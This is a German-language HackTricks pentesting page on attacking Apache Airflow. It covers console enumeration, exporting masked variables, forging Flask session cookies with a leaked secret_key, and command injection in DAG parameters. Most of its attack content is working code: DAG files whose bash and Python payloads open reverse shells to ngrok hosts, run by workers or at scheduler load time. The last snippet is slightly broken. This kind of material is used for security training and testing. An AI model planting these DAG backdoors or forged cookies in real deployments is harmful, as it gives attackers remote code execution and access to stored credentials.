# Apache Airflow Sicherheit {{#include ../../banners/hacktricks-training.md}} ### Grundinformationen [**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Arrangierens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind. Im Grunde wird Apache Airflow Ihnen ermöglichen, **die Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**. ### Lokales Labor #### Docker-Compose Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie auf MacOS sind, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen). #### Minikube Eine einfache Möglichkeit, **Apache Airflow** auszuführen, besteht darin, es **mit Minikube** auszuführen: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update helm install airflow-release airflow-stable/airflow # Some information about how to aceess the web console will appear after this command # Use this command to delete it helm delete airflow-release ``` ### Airflow-Konfiguration Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie können schwache Konfigurationen finden: {{#ref}} airflow-configuration.md {{#endref}} ### Airflow RBAC Bevor Sie mit dem Angriff auf Airflow beginnen, sollten Sie verstehen, **wie Berechtigungen funktionieren**: {{#ref}} airflow-rbac.md {{#endref}} ### Angriffe #### Webkonsole Enumeration Wenn Sie **Zugriff auf die Webkonsole** haben, könnten Sie in der Lage sein, einige oder alle der folgenden Informationen zuzugreifen: - **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden) - **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden) - Greifen Sie darauf zu unter `http:///connection/list/` - [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert werden) - Liste der **Benutzer & Rollen** - **Code jedes DAG** (der interessante Informationen enthalten könnte) #### Abrufen von Variablenwerten Variablen können in Airflow gespeichert werden, damit die **DAGs** auf ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http:///variable/list/` abrufen.\ Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**dieser**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** in der **GUI** als **Sternchen** angezeigt wird. ![](<../../images/image (164).png>) Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**-Zugriff auf den Variablen-Endpunkt (die API muss aktiviert sein) und **sogar die GUI selbst!** abgerufen werden.\ Um auf diese Werte über die GUI zuzugreifen, wählen Sie einfach die **Variablen** aus, auf die Sie zugreifen möchten, und **klicken Sie auf Aktionen -> Exportieren**.\ Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckten Wert** durchzuführen, indem Sie die **Suchfilterung** verwenden, bis Sie ihn erhalten: ![](<../../images/image (152).png>) #### Privilegieneskalation Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber hinaus** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` #### DAG Backdoor (RCE in Airflow worker) Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert** sind, können Sie einfach **einen erstellen**, der Ihnen eine **Reverse-Shell** sendet.\ Beachten Sie, dass diese Reverse-Shell innerhalb eines **Airflow-Worker-Containers** ausgeführt wird: ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( dag_id='rev_shell_bash', schedule_interval='0 0 * * *', start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: run = BashOperator( task_id='run', bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', ) ``` ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): s = socket.socket() s.connect((rhost, port)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh") with DAG( dag_id='rev_shell_python', schedule_interval='0 0 * * *', start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: run = PythonOperator( task_id='rs_python', python_callable=rs, op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ) ``` #### DAG Backdoor (RCE im Airflow-Scheduler) Wenn Sie etwas auf **der Wurzel des Codes ausführen** lassen, wird es zum Zeitpunkt des Schreibens **vom Scheduler ausgeführt**, nachdem es ein paar Sekunden lang im DAG-Ordner platziert wurde. ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): s = socket.socket() s.connect((rhost, port)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( dag_id='rev_shell_python2', schedule_interval='0 0 * * *', start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: run = PythonOperator( task_id='rs_python2', python_callable=rs, op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` #### DAG-Erstellung Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im `dags/`-Ordner erstellen, und sie werden **im Rest der Maschinen** im DAG-Cluster **repliziert**. #### DAG-Code-Injection Wenn Sie einen DAG über die GUI ausführen, können Sie **Argumente** an ihn **übergeben**.\ Daher könnte der DAG, wenn er nicht ordnungsgemäß codiert ist, **anfällig für Command Injection** sein.\ Das ist, was in diesem CVE passiert ist: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) Alles, was Sie wissen müssen, um **nach Command Injections in DAGs zu suchen**, ist, dass **Parameter** mit dem Code **`dag_run.conf.get("param_name")`** **zugegriffen** werden. Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **zugegriffen mit**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` Wenn sie beispielsweise innerhalb eines Bash-Befehls verwendet werden, könnten Sie eine Befehlsinjektion durchführen. {{#include ../../banners/hacktricks-training.md}}